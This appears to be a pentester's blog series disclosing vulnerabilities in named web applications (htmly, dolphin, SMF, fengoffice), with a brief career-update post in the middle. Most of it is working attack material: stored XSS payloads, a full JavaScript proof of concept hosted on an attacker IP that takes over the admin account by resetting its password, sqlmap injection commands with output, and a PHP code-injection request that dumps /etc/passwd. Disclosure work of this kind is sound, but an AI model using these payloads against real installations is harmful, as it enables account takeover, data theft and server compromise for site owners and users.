Friday Fun Pentest Series - 11 - Stored XSS in "Edit Profile" - htmlyv2.9.9

Description

- It was found that the application suffers from stored XSS

- The vulnerability was found to be in the "Edit Profile" page

- Vulnerable parameter was "Content"

Stored XSS in "Edit Profile"

Steps to Reproduce:

1. Login as author
2. Browse to "Edit Profile"
3. In "Content" field add payload "><img src=x onerror=alert(1)>
4. Then refresh the "Edit Profile" page

Friday Fun Pentest Series - 10 - Stored XSS in "Menu Editor" - htmlyv2.9.9

Description

- It was found that the application suffers from stored XSS

- The vulnerability was found to be in the "Menu Editor" page

- Vulnerable parameters were "Name" and "Slug"

Stored XSS in "Menu Editor"

Steps to Reproduce:

1. Login as admin or author
2. Browse to "Menu Editor"
3. In "Name" field add payload "><img src=x onerror=alert(1)>
4. In "Slug" field add payload "><img src=x onerror=alert(1)>
5. Click "Save Edit" > "Save Menu"

Friday Fun Pentest Series - 9 - Stored XSS to Account Takeover - htmlyv2.9.9

Description

- It was found that the application suffers from stored XSS

- Low level user having an "author" role can takeover admin account and change their password via posting a malicious post with a reference to a payload hosted on attacker domain

Stored XSS to Account Takeover

Steps to Reproduce:

1. Visit "My Posts" > "Add New Post" > "Regular Post"
2. Enter the following payload into the "Content" referencing externally hosted POC in Javascript <script src="http://192.168.159.191:8000/xss.js"></script>
3. Upon visiting the blog post, the admin account password would be changed to "test"
4. In the XSS payload pasted below need to adjust the "passwordChangeUrl", "username" and "password"

// Javascript POC

// Function to fetch CSRF token and perform password change

    (function() {

        // URL of the password change page

        const passwordChangePageUrl = 'http://192.168.159.191/htmly/edit/password';

        // Function to fetch the CSRF token

        function fetchCsrfToken() {

            fetch(passwordChangePageUrl, {

                method: 'GET',

                credentials: 'include' // Include cookies for the current session

            })

            .then(response => response.text())

            .then(html => {

                // Parse the HTML to find the CSRF token

                const parser = new DOMParser();

                const doc = parser.parseFromString(html, 'text/html');

                const csrfTokenInput = doc.querySelector('input[name="csrf_token"]');

                if (csrfTokenInput) {

                    const csrfToken = csrfTokenInput.value;

                    console.log('CSRF Token:', csrfToken);

                    changePassword(csrfToken);

                } else {

                    console.error('CSRF token not found');

                }

            })

            .catch(error => console.error('Error fetching CSRF token:', error));

        }

        // Function to change the password

        function changePassword(csrfToken) {

            const postData = new URLSearchParams();

            postData.append('csrf_token', csrfToken);

            postData.append('username', 'admin');

            postData.append('password', 'test');

            fetch(passwordChangePageUrl, {

                method: 'POST',

                body: postData,

                headers: {

                    'Content-Type': 'application/x-www-form-urlencoded'

                },

                credentials: 'include' // Include cookies for the current session

            })

            .then(response => response.text())

            .then(data => {

                console.log('Password change response:', data);

            })

            .catch(error => console.error('Error changing password:', error));

        }

        // Trigger the CSRF token fetch and password change

        fetchCsrfToken();

    })();

Friday Fun Pentest Series - 8 - dolphinv7.4.2

Description

- It was found that the application suffers from error based SQL injection

SQL Injection

Steps to Reproduce:

1. Navigate to "Builders" menu
2. The HTTP GET parameter of "?cat=builders" is displayed in the URL bar
3. That is the injection point
4. Automate process with SQLMap

sqlmap -r request.txt --dbms=mysql -p cat

[...]

[INFO] the back-end DBMS is MySQL

web application technology: PHP 5.4.45, Apache

back-end DBMS: MySQL >= 5.0.12

[...]

Friday Fun Pentest Series - 7 - smfv2.1.4

Description

- It was found that the application is suffering from code injection vulnerability

- The flaw allows the attacker to inject PHP statements which can then execute code via the the vulnerable application

- Furthermore the application is vulnerable IDOR (Insecure Direct Object References) allowing to enumerate user profiles based on their user ID

Code Injection

Steps to Reproduce:

1. Login as admin
2. Browse to "Current Theme"
3. Click on "Modify Themes" > "SMF Default Theme"
4. Click on Admin.template.php
5. In the first box enter the PHP payload "<?php system('cat /etc/passwd') ?>"

// HTTP POST request showing the code injection payload

POST /SMFdbwci7dy0o/index.php?action=admin;area=theme;th=1;sa=edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36

[...]

entire_file[]=<?php+system('cat /etc/passwd') ?>[...]

// HTTP response showing /etc/passwd contents

HTTP/1.1 200 OK
Server: Apache

[...]

[...]

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

[...]

IDOR

Steps to Reproduce:

1. Go to forum and click online user e.g. Administrator
2. Send the HTTP GET request to Burpsuite Intruder
3. Check the results that for valid user ID profile the response is HTTP OK 200
4. The response for invalid profile is HTTP 403 Forbidden

Career Update

 Lately I havent been posting much content. That is because I was preparing for different interviews etc. The process was tough. However I am happy to announce that I have gotten a job as a full-time Penetration Tester :)

Goal achieved. Next goal: lots of zeroday submissions.

Friday Fun Pentest Series - 6 - fengofficev3.11.1.2

 Description

- It was found that the application suffers from Blind SQL injection

Blind SQL Injection

Steps to Reproduce:

1. Login to application
2. Click on "Workspaces"
3. Copy full URL
4. Paste the HTTP GET request into text file
5. Set the injection point to be in the "dim" parameter value
6. Use SQLMap to automate the process

sqlmap -r request.txt --threads 1 --level 5 --risk 3 --dbms=mysql -p dim --fingerprint

[...]

[12:13:03] [INFO] confirming MySQL

[12:13:04] [INFO] the back-end DBMS is MySQL

[12:13:04] [INFO] actively fingerprinting MySQL

[12:13:05] [INFO] executing MySQL comment injection fingerprint

web application technology: Apache

back-end DBMS: active fingerprint: MySQL >= 5.7

               comment injection fingerprint: MySQL 5.7.37

[...]